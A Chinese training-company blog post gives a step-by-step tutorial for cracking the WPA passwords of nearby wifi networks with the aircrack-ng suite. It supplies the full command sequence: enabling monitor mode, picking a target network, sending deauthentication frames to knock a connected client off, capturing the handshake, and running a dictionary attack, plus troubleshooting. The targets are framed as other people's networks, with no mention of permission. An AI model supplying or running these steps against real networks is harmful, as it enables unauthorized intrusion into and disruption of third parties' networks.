当前访客身份:游客 [ 登录  | 注册加入尚学堂]
直播

尚哥

拥有积分:3
这家伙太懒,还没有签名!

博客分类

笔记中心

课题中心

提问中心

答题中心

解答题中心

利用aircrack-ng工具获取附近wifi的密码

尚哥 发表于 2年前 (2015-01-28 08:22:45)  |  评论(0)  |  阅读次数(33291)| 0 人收藏此文章,   我要收藏   

提示:下面的所有命令都以root用户执行

一、关闭网络和结束可能会影响结果的进程

1、关闭网络

service network-manager stop


2、结束可能会影响结果的进程

airmon-ng check kill



二、开启无线网卡到监听模式

1、查看网卡列表

iwconfig

说明:以wlan0和wlan1是无线网卡,我的电脑上有两张无线网卡


2、启动网卡到监听模式(这里使用wlan0)

airmon-ng start wlan0

说明:如上图表示启动成功,启动后会给出一个新的名称接口名,上图中的是mon0



三、监听周围的无线网络连接并获取握手信息

1、监听周围所有无线网络信息

airodump-ng mon0

在这条命令中mon0是上一步中我们得到的接口名

说明:图下半部分,列BSSID下要有非(not associated)行才行,上图中最后一行就是:

C0:XX:XX:XX:XX:00    14:XX:XX:XX:XX:B4    -87         0 - 1        3        2

这时,记下C0:XX:XX:XX:XX:00,并在图的上半部分中找对应C0:XX:XX:XX:XX:00行,记下CH列下的值为1。然后关闭此窗口。


2、监听感兴趣的无线网络

根据上一步的结果执行如下命令:

airodump-ng --bssid C0:XX:XX:XX:XX -c 1 -w tmp mon0

在这条命令中--bssid后接我们上一部接下的BSSID值,即:C0:XX:XX:XX:XX:00。而-c后接的是我上一步在CH列下找到的值1。而-w后接的是我们保存网络数据的文件名,这里是用tmp。在命令的最后接的是之前得到的mon0

运行命令后会得到上图的结果,并确保上图的下半部分BSSID下有至少一行的数据


3、得到握手包

保持上一步中的窗口不关,新开一个窗口,执行如下命令:

aireplay-ng -0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0
在这条命令中参数-a后接的是上图中下半部分BSSID列下第一行的的值C0:XX:XX:XX:XX:00。参数-c后接的是上图中下半部分STATION列下第一行的的值14:XX:XX:XX:XX:B4。mon是之前步骤得到的值。执行后:


观察我们步骤2中未关闭的窗口中是否出现了下图中红款中的内容。如果没有出现那就再等几分钟再次执行本步骤中的命令,直到出现。如果执行了超过30次或者时间超过30分钟依然没有出现,建议换一个感兴趣的网络。

出现了上图中红框中的内容,就表示我们已经获取到了握手信息(包含有该网络密码的数据)。那么我们就可以结束监听网络了。



四、停止监听

1、关闭监听接口

airmon-ng stop mon0

2、启动网络

service network-manager start



五、获取密码

此时在执行第3.2步骤中命令的目录下会有一个tmp-01.cap文件。有了这个文件我们就可以破解密码了,除了这个文件外,我们还需要一个字典文件。可以从这里下载,下载后解压出密码文件,假设其名字及路径为:/tmp/passwd.txt。执行下面的命令。如果密码字典中有这个wifi的密码,我们就可以破解出密码:

aircrack-ng tmp-01.cap -w /tmp/passwd.txt
破解成功后会出现下图:



KEY FOUND!后中括号中间就是wifi密码了


六、可能出现的问题

1、收到on channel -1的错误

第3.3步执行

aireplay-ng -0 2 -a C0:XX:XX:XX:XX:00 -c 14:XX:XX:XX:XX:B4 mon0

提示错误:

11:41:04  Waiting for beacon frame (BSSID:  XX:XX:XX:XX:XX:XX) on channel -1
11:41:04  Couldn't determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch
Please specify an ESSID (-e).

解决办法:

(1)确保第3.1步中的窗口被关闭了的

(2)确保执行的3.2步中的命令,且名称中有参数-c且参数-c后的数值是正确的(参数-c 1是为了把mon0的频道锁定在频道1)

(3)如果依然不能解决,那可能就是驱动问题了,就像我的电脑,在kali3.14上能正常,但在3.20上一直有问题

分享到:0
关注微信,跟着我们扩展技术视野。每天推送IT新技术文章,每周聚焦一门新技术。微信二维码如下:
微信公众账号:尚学堂(微信号:bjsxt-java)
北京总部地址:北京市海淀区西三旗桥东建材城西路85号神州科技园B座三层尚学堂 咨询电话:400-009-1906 010-56233821
Copyright 2007-2015 北京尚学堂科技有限公司 京ICP备13018289号-1 京公网安备11010802015183